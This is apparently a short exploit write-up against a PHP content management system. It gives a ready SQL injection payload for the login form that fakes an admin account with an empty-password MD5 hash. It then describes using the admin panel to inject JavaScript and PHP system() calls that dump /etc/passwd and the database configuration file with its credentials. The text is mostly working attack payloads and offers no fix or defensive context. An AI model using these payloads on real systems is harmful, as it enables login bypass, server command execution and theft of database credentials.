1) if magic quotes off -> SQL Injection:

you can login as admin typing in login form:


login: 'UNION(SELECT'1','admin','admin','FAKE@hotmail.com','d41d8cd98f00b204e9800998ecf8427e','1')/*
pass: [nothing]                                                   ^
                                                                  |
                                                                  |
                                                            this is the hash of...nothing
                                                            the result of md5('');
note:"login" without spaces

the login query become:
SELECT * FROM lucid_users WHERE name=''UNION(SELECT'1','admin','admin','FAKE@hotmail.com','d41d8cd98f00b204e9800998ecf8427e','1')/*'

2)
now new admin can edit template and insert evil javascript code, see the phpinfo(), manage users/groups,
activate/disable plugins, you can activate renderPHP plugin, add the following line at the end of
the main stylesheet:

<?php error_reporting(0); system('cat /etc/passwd > temp.txt'); ?>

to see /etc/passwd file

<?php error_reporting(0); system('cat dBConfig.php > temp.txt'); ?>

to see database username/password, the database name and table prefix... now you have the full control
of the database
